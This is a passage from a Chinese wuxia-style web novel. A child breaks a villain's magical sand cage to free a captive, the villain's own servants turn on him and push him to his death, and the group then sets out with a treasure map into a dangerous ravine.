团团从绣囊里掏出了一小块碎瓷片子,轻声嘟囔了一句:“让那个破笼子,漏一个能让人出来的大洞!”
她小手一松,碎瓷片落了下来。
微光一闪,消失无踪。
“滋滋滋……”
那坚逾精钢的琉璃牢笼,就在谢孤舟正前方的位置,突然裂出了无数道细纹。
鬼医猛地站了起来:“什么?这不可能!”
眼看着裂纹越来越多,纵横交错。
终于,“咔擦!”一声,彻底碎裂开来,露出了一个大窟窿!
禁锢在笼内的金色流沙,如同决堤的洪水,从那破洞中奔涌倾泻而出,瞬间就在地上堆积成一个小沙丘。
牢笼内的沙子急速下降,眨眼间就落到了谢孤舟的腰部以下!
谢孤舟一时愣住了。
团团大喊一声:“谢叔叔!快出来呀!”
陆七和萧二飞身过去,两只大手伸进了笼子:“谢帮主,快!”
谢孤舟抓住他们,手脚并用地从那个巨大的破洞中钻了出来!
由于冲势过猛,三人一起踉跄了几步,才稳住身形。
谢孤舟虽然狼狈不堪,精神委顿,但眼神已然重新锐利了起来。
高台上的鬼医,死死盯着那个巨大的破洞,又猛地看向还趴在少年怀中的小团子。
“你究竟用了什么?竟能破了我的流金沙漏?”
“我捡来的破烂啊!”团团继续哼:“哼!哼!哼!什么流金沙漏!就是个破笼子而已!”
“你坏事做得太多啦!已经活不久了知道吗?“
“你看不起治病救人的好大夫,说他们是庸医。”
“你自己连庸医都不是,就是个傻医!”
“你!”鬼医一时气结。
“扶着谢帮主,”萧宁珣不欲与鬼医纠缠,抱着妹妹迅速转身向来时的洞口走去,”咱们快走。”
“对对!”萧然急忙跟上。
陆七和萧二一左一右地扶着谢孤舟走在最后。
鬼医一声怒喝:“我的地方,你们想来便来,想走便走?”
“轰隆隆——”
来时的洞口飞快地落下了一道石门,路没了。
众人顿住脚步,回头看他。
鬼医眼神中愈发疯狂:“凡是进了我地盘的人,从来没有一个能活着脱身的!”
“来人!去将断龙石放下!”
三个下人冲到他的椅边跪了下来:“主子!不行啊!断龙石一旦放下,这里便成了绝地,咱们也出不去了呀!”
鬼医一个巴掌扇了过去:“混账!快去!”
萧然灵机一动,此时不挑事更待何时?
“喂!你们还不明白吗?他就是个疯子啊!”
“他自己不在乎生死,也
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不在乎你们的性命,你们还听他的干嘛?也想跟着他一起死吗?”
“你们的父母妻儿呢?不想见了吗?”
团团一听,马上张口帮腔:“就是啊!你们没有家人吗?”
“你们的家人都在家里等着你们回去呢!”
“他脑子有病,你们好好的啊!不要听他的啦!”
几个下人的脸色变了又变,互相看了几眼,虽都有些心动,却仍然迟疑不决。
鬼医显然没有想到,自己的手下听到命令居然胆敢迟疑。
“去啊,你们等什么呢?黑医门的门规都忘了吗?胆敢以下犯上?回去你们也活不了!”
黑医门!原来这个鬼医竟然是黑医门的人!团团恍然大悟。
萧宁珣和萧二互相看了一眼。
一个下人磕了个响头:“主子!来日方长,咱们先回去,以后再擒他们也不迟。”
其余两个也随之叩首哀求:“主子!求您了!”
鬼医怒道:“绝不可能!师尊交代的任务若是半途而废,回去我就要进刑堂!”
“难道你们忘了纪婉润吗?她最得意的一身武功都被废了!快去!”
萧然火上浇油:“你们有三个人,他才一个,一起上啊!把他推下来!就不是你们以下犯上,是我们解决了他!”
一个下人再也忍不住了,猛地站了起来,扑向鬼医。
“弟兄们!一起上啊!左右都是个死,搏一条生路吧!”
另外两个见状,彼此对视了一眼,事已至此,拼了!
两人低吼一声,也同时朝着鬼医扑去!
“反了你们了!”鬼医又惊又怒,他万万没有料到,平日畏他如虎的手下竟真敢对他动手!
他所长本不在武功上,一时间被逼得不断后退。
高台之上,四人顿时扭打在一起!
鬼医虽奋力挣扎,但双拳终究难敌四手,更何况是三个人的亡命反扑!
“你们这群叛徒!”鬼医嘶吼着。
“主子,对不住了!你不想活了,我们想!”最先动手的下人一脚踹到他的腰上,将他踢到了高台的边缘。
第266章 可算是如愿了
鬼医踉跄了两步,还未站稳,另一人趁机用力一推。
“不——!”
鬼医惊叫一声,从高高的石台上摔了下来!
“砰!”
一声沉闷的巨响。
萧然伸手捂住了团团的眼睛,萧宁珣将她的小脑袋按到自己肩上:“丑,别看。”
“嗯嗯。”团团听话地趴在哥哥肩头。
众人低头看去,只见鬼医以一个扭曲的姿势摔在坚硬的地上,身下缓缓溢开一滩鲜红,抽搐了两下,再无声息。
蔓延开来的血液引来了方才的蚁群,没多一会儿,成千上万的蚂蚁爬上来,将他整个吞没了。
谢孤舟低声道:“你以掌控他人生死为乐,死在自己人的手里,也算是死得其所了。”
高台上,几人探头往下看了一眼,脸色煞白。
其中一人飞快地喊了一句:“石门右上角!有凸起!”
说完几人转身便消失在高台的阴影中,逃命去了。
陆七反应最快,一个箭步冲到方才落下的石门前。
萧二紧随其后,两人一起在石门的右上角仔细摸索。
“找到了!”萧二低喝一声,手掌按下一块圆形的凸起。
“轧——轧——轧——”
石门缓缓向上抬起。
“走!”萧宁珣抱起团团,率先钻了进去,萧然紧跟其后。
陆七和萧二扶着谢孤舟,几人迅速穿过通道,重新回到了**阵的废墟之中。
众人不敢耽搁,飞速地从那个被他们拆出来的洞口冲了出去。
清新的空气涌入鼻腔,萧然高声欢呼:“出来了!这次是真的出来了!”
他一头趴在了草地上:“原来,这就是闯荡江湖啊,刺激!”
萧二将水囊和干粮递给谢孤舟。
“多谢,还未请教各位是?”谢孤舟接了过来,也没客气,先灌了半水囊的水,又慢慢撕开饼子细细咀嚼。
萧宁珣将如何意外救了玄斧翁,如何受他之托来到此地,甚至怎样离开长风客栈密道和藏宝图都没隐瞒,一一如实相告。
“原来如此,你们是为了铁线木而来。”
吃饱喝足,谢孤舟的精神明显好了许多:“那些铁线木确实是我经手的,但并未运出西北。”
“什么?”萧然惊呼了一声。
“轻些!”萧宁珣一巴掌拍到萧然的手臂上,狠狠瞪了他一眼,”团团刚睡着。“
“哦哦,怪我怪我,没吵醒吧。”
萧宁珣摇了摇头,心疼地将妹妹又搂紧了些。
萧然看着他:“喂!我好歹也是个皇子,你看你方才的眼神,恨不得刀了我一样。”
萧二抬起头看着两人。
萧宁珣微微一笑:“无论你是谁,我妹妹才是最重要的。”
萧然撇了撇嘴,看着熟睡的团团:“也是,团团这样的妹妹,确实可人疼,我怎么就没有这么个妹妹呢。”
陆七追问道:“谢帮主,铁线木产自西北,这批货既然还在西北,究竟落到了谁的手中?”
谢孤舟回道:“也不是什么见不得人的地方,就是我们青州府的青云观。”
“道观?”萧二惊讶了,“谢帮主有没有问过,一个道观,要这许多铁线木做什么?”
“问过一句,栖霞子道长说,观中要翻新屋宇用。”
萧二询问:“谢帮主,你身上的伤?”
谢孤舟摇了摇头:“我是落入鬼医的机关才被他囚禁的,并没受伤,只是在那沙堆中被埋了几日。如今吃饱喝足,再睡上一日,便能恢复如初了。”
提到睡觉,折腾了这么一夜,萧然也连连打起了哈欠。
萧宁珣见状:“走吧,咱们干脆回溪边地山洞里,都好好睡上一日,养精蓄锐。”
众人皆无异议,一起回到了山洞,马儿们都还在洞口站着,见到几人便都嘶鸣了起来。
萧然急忙走过去每一匹都撸了几把:“安静些!吵到团团睡觉,小心萧三把你们都炖了!”
众人歇息了一整日,都缓了过来。
团团的精神头回来了,漫山遍野的撒欢地跑:“三哥哥,我们回去找老爷爷吧,告诉他,咱们把谢叔叔救出来啦!”
萧宁珣刚想点头,谢孤舟抢先开口:“不急,你们不是有张藏宝图吗,那地方就离这里不远,咱们不如先去寻宝。”
团团想了想:“可是,老爷爷很着急呢。”
这孩子不错,不重视宝藏,却惦记着别人的嘱托。
谢孤舟微微一笑,掏出哨子,用力吹响,鸟鸣声顿时响彻山谷。
他收起哨子,侧耳倾听。
众人都有些奇怪,这里还指望谁能回复?
半晌后,咔哒咔哒的马蹄声由远及近。
众人循声望去,只见两匹枣红色的骏马跑了过来。
谢孤舟与他们亲近了一番,在其中一匹的屁股上拍了
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一巴掌:“回去吧。”自己翻身上了另一匹。
那匹马向着坳口的方向疾驰而去。
团团问道:“它去哪儿了啊?”
“老马识途!”谢孤舟看着她,“它自己回去找你的老爷爷报信去了,看到它,他就明白了。”
团团瞪大了眼睛:“哇!谢叔叔的马好厉害啊!”
谢孤舟笑了笑,看向众人:“走吧各位,咱们去看看那宝藏到底是什么!”
萧然最是兴奋:“太好了,我从小就想寻一次宝!”
“可**都被父皇和皇兄们说是玩物丧志!这回可算是如愿了!”
众人翻身上马,跟着谢孤舟,向落鹰涧而去。
不过一个时辰,眼前景象豁然一变。
只见两片陡峭如刀削的灰白色山崖拔地而起,中间形成了一道狭窄幽深的裂缝。
涧内林木异常茂密,虬枝盘错,遮天蔽日。
萧二惊叹:“这么近!难怪谢帮主说先来这里再回去了。”
萧然勒住马,脖子下意识地缩了缩:“这地方,怎么大白天的看着比黑风坳还瘆人。”
“不会又有一堆要命的机关等着咱们吧?”他算是被这一路的连环机关搞出阴影了。
谢孤舟摇了摇头:“此地没有机关。落鹰涧之险,在于其地形复杂多变,且涧中潜藏着不少猛兽毒虫。”
“据说就连最擅翱翔的鹰隼飞入此涧,也会迷失方向折翼坠落,故而得名。”
萧宁珣从怀中取出那张藏宝图,递给谢孤舟:“谢帮主,有劳了。”
谢孤舟接过地图仔细琢磨了片刻,抬头对照了一下山势走向,心中已有计较。
“诸位,请随我来,跟紧些。”
他率先下马,将马匹拴好,众人依样而行。
谢孤舟手持地图,带着众人踏入了落鹰涧。
涧内果然别有洞天,脚下根本就没路,全靠谢孤舟依据地图指引,在巨大的树根,滑腻的苔石,垂落的藤蔓间七拐八绕。
光线昏暗,四周不时传来窸窸窣窣的声响和不知何名的野兽低嚎,更添了几分阴森。
团团兴奋得很,好奇地边走边东张西望。
终于,谢孤舟在一面爬满了厚厚青藤的山壁前停住了脚步。
这面山壁与周围并无二致,若非按照地图所示,绝对无人会多看它一眼。
谢孤舟用马鞭指了指面前的山壁:“入口便在此处。”